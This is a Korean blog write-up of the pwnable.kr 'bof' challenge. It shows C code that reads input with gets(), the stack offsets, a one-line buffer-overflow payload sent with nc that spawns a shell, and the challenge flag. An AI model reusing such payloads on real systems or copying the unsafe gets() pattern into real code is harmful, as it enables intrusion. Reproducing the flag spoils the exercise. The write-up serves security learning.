0x02 Study :)/Pwnable

[pwnable.kr][Toddler] bof 문제풀이

eli_ez3r 2018. 8. 13. 11:56

bof

keyword : Stack Canary

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

main에서 key값으로 0 xdeadbeef값을 인자로 전달한다.

32byte크기의 overflow(me배열이 선언되었데, gets함수로 인해 입력 크기를 제한하지 않고 입력 받게 된다.

key값을 0xcafebabe로 조작하면 쉘이 떨어지게 된다.

 


func함수에서 입력받는 overflowme배열의 시작주소는 ebp-0x2c이고 "0xcafebabe"가 들어있는 주소는 ebp+0x8이다.

따라서 BoF를 시켜 ebp+0x8주소에 "0xcafebabe"를 넣으면 실행이 실행된다.

 

payload : (python -c 'print "A"*52+"\xbe\xba\xfe\xca"';cat)|nc pwnable.kr 9000




✌️FLAG : daddy, I just pwned a buFFer :)







잘못 된 개념을 서술하였거나, 잘못 풀이된 내용이 있으면 댓글 달아주시면 감사합니다 :)

태클 댓글이나 메일(513.eunice@gmail.com) 환영입니다 !! 😊☺️👍